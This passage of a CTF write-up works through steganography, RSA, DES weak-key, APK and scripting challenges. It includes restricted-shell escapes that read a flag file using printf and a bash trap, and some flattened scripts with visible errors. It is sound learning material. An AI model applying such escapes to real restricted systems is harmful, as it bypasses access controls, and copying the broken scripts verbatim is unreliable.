much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag: ![](assets//images//apologies.png) **Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/ ## Dead SwapThere is a flag in my swap! Download the file below.\[deadswap](assets//files//deadswap) **Post CTF Writeup** **flag{what_are_you_doing_in_my_swap}** **Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes: ![](assets//images//deadswap_1.png) but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too: ![](assets//images//deadswap_2.png) during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing): `xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev` the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action: ![](assets//images//deadswap_3.png) **Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm ## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time. Download the file below.\[wazaa.wav](assets//files//wazaa.wav) **Post CTF Writeup** **flag{do_that_bit_again}** **Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag: `python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000` in action: ![](assets//images//walkman.png) this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy. **Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py ## Old SchoolDid Dade Murphy do this? Note, this flag is not in the usual format Download the file below.\[hackers.bmp](assets//images//hackers.bmp) **Post CTF Writeup** **JCTF{at_least_the_movie_is_older_than_this_software}** **Solution:** With the challenge we are given a bitmap (bmp) file: ![](assets//images//hackers.bmp) bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command: `zsteg -a hackers.bmp` and in action: ![](assets//images//oldschool.png) ***# Cryptography ## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long... Download the file below.\[homework](assets//files//homework) **flag{xor_is_not_for_security}** **Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` : ![](assets//images/docxor_1.png) furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb: ![](assets//images/docxor_2.png) but if we look at a regular PNG file or Zip file we get the following bytes frequency: ![](assets//images/docxor_4.png) we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key. so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file: [xorred_homework](assets//files//xorred_homework) this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag: ![](assets//images/docxor_3.png) **Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages ## HomecookedI cannot get this to decrypt! Download the file below.\[decrypt.py](assets//files//decrypt.py) **flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}** **Solution:** Now we get with the challenge a python script: ```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()``` this script is used for decrypting the cipher but it doesn't seem to work well: ![](assets//files//homecooked.gif) it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000. Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script: ```python 3import base64import sympy num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def prime(num): return sympy.isprime(num) def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()```and by running this more efficient script we get the flag in a reasonable time: ![](assets//files//homecooked_2.gif) ## TwinningThese numbers wore the same shirt! LOL, #TWINNING! Connect with:\`nc jh2i.com 50013` **flag{thats_the_twinning_pin_to_win}** **Solution:** When we connect to server given we the challenge we are greeted with the following: ![](assets//images//twinning_1.png) we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... and I explained why it works and how we can break the cipher: >...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases... if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us: ![](assets//images//twinning_2.png) now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module): ```python 3from Crypto.Util.number import inverse p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain) ```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag: ![](assets//images//twinning_3.png) I guess that the challenge name and description is joking about the proximity of the primes... ## Ooo-la-laUwu, wow! Those numbers are fine! Download the file below.\[prompt.txt](assets//files//ooolala.txt) **flag{ooo_la_la_those_are_sexy_primes}** **Solution:** With the challenge we are given a text file, the text file contains the following: ```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983``` So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again: ![](assets//images//ooolala_1.png) and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that: ```python 3from Crypto.Util.number import inverse, long_to_bytes p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag: ![](assets//images//ooolala_2.png) ## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this? Download the file below.\[prompt.txt](assets//files//vase.txt) **Post CTF Writeup** **flag{does_this_even_count_as_cryptooo}** **Solution:** We this challenge we are given a text file with the following content: ```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=``` this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}``` I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e): ```python 3import base64from string import printable cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=') for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))``` and by running this script we get the flag: ![](assets//images//unvreakable_vase.png) **Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple ## DecemberThis is my December... Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext) **flag{this_is_all_i_need}** **Solution:** With the challenge we get the following python 3 script: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('flag.txt', 'rb') as handle: flag = handle.read() padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00') with open('key', 'rb') as handle: key = handle.read().strip() iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag) with open('ciphertext','wb') as handle: handle.write(ct)``` and the ciphertext: ```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7``` We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext. we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation: and in a formal representation: we can now notice the following attribute of using weak keys in this mode of operation: in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code: ```python 3from Crypto.Util.strxor import strxor data = open("ciphertext",'rb').read()IV = "13371337" print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get: ![](assets//images//december_4.png) it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file: [weak DES keys](assets//files//keys) and wrote this script to crack the ciphertext: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('ciphertext','rb') as handle: ct = handle.read() with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys] iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)``` and we get the flag: ![](assets//images//december_5.png) ## RaspberryRaspberries are so tasty. I have to have more than just one! Download the file below.\[prompt.txt](assets//files//raspberry.txt) **flag{there_are_a_few_extra_berries_in_this_one}** **Solution:**: With the challenge we are get a text file, the content of the text file is: ```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output: ![](assets//images//respberry.png) this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation: ```python 3from Crypto.Util.number import inverse, long_to_bytes primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257'] e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317 phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag: ![](assets//images//respberry_1.png) **Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function *** # Forensics ## MicrosooftWe have to use Microsoft Word at the office!? Oof... Download the file below.\[microsooft.docx](assets//files//microsooft.docx) **flag{oof_is_right_why_gfxdata_though}** **Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting: ![](assets//images//microsooft.png) so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor: ![](assets//images//microsooft_1.png) after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file: ![](assets//images//microsooft_2.png) and the file contains our flag: ![](assets//images//microsooft_3.png) ## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right... Download the file below.\[manure](assets//files//manure) **flag{this_flag_says_mooo_what_say_you}** **Solution:** run strings on manure and grep for the flag *** # Mobile ## CandroidI think I can, I think I can! Download the file below.\[candroid.apk](assets//files//candroid.apk) **flag{4ndr0id_1s_3asy}** **Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag: ![](assets//images//candroid.png) ## Simple AppHere's a simple Android app. Can you get the flag? Download the file below.\[candroid.apk](assets//files//simple-app.apk) **flag{3asY_4ndr0id_r3vers1ng}** **Solution:** same as previous challenge: ![](assets//images//simple_app.png) ## Ends MeetAre you a true mobile hacker? Download the file below. **flag{rev3rsIng_ApKs_l1k3_A_Pr0}** **Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0` ***# Miscellaneous ## VortexWill you find the flag, or get lost in the vortex? Connect here:\`nc jh2i.com 50017` **flag{more_text_in_the_vortex}** **Solution:** With the challenge we are given a server to connect to, if we try connecting we get... ![](assets//images//vortex.png) ...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag: ![](assets//images//vortex_1.png) ## Fake fileWait... where is the flag? Connect here:\`nc jh2i.com 50026` **flag{we_should_have_been_worried_about_u2k_not_y2k}** **Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell: ![](assets//images//fake_file.png) seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/): ![](assets//images//fake_file_2.png) ## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out? Connect here:\`nc jh2i.com 50024` **flag{congrats_you_just_escaped_alkatraz}** **Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it: ![](assets//images//alkatraz.png) I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag: ![](assets//images//alkatraz_2.png) ## TrappedHelp! I'm trapped! Connect here:\nc jh2i.com 50019 **flag{you_activated_my_trap_card}** **Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco. Connect here:`nc jh2i.com 50025` **flag{okay_well_this_is_even_more_awkward}** **Solution:** use grep to find cat all files and grep only to flag format ```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025 s = remote(host,port) name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()``` ***# Scripting ## DinaHelp! I can't make any sense out of what Dina is saying, can you?? Connect with:`nc jh2i.com 50035` **Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}** **Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself. **Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous: ![](assets//images//dina_1.png) It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis. In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run): `send back yirkbmusswnqmhq as a string` and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can. At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that): ```python 3import refrom pwn import remotefrom random import choice # The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'} # The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, } def beautify_data(msg): return str(msg)[2:-3].replace("\\n","") # frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency) host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1: # Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0) # Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)} # The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]]) plaintext = ''.join(plaintext) if 'nope' in plaintext: break print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters)) response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break print(response) s.send(response.upper()) index += 1 print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag: ![](assets//images//dina_2.png) actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial. ## RottenIck, this salad doesn't taste too good! Connect with:\`nc jh2i.com 50034` **flag{now_you_know_your_caesars}** **Solution:** server response is ceaser cipher encrypted, code: ```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()``` ## Really powerful GnomesOnly YOU can save the village! Connect with:`nc jh2i.com 50031` **flag{it_was_in_fact_you_that_was_really_powerful}** **Solution:** Automate going on adventure and buying weapons: ```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return 